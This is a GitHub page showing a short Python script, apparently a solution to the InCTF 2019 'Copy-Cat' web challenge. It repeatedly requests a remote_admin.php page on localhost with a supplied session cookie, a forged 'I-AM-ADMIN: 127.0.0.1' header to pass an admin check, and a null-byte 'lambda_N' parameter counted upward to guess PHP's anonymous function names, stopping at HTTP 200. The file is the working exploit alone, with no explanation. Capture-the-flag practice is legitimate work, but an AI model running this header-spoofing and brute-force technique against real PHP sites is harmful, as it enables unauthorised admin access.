Skip to content
Permalink
master
Switch branches/tags
Go to file
 
 
Cannot retrieve contributors at this time
import requests
import sys
cookie = sys.argv[1]
counter = 0
while(1):
req=requests.get("http://localhost/Challenges/InCTF-2019/Copy-Cat/remote_admin.php?random=%00lambda_" + str(counter),cookies={'PHPSESSID':cookie},headers={'I-AM-ADMIN':'127.0.0.1'})
if(req.status_code==200):
print req.status_code
break
counter += 1
print counter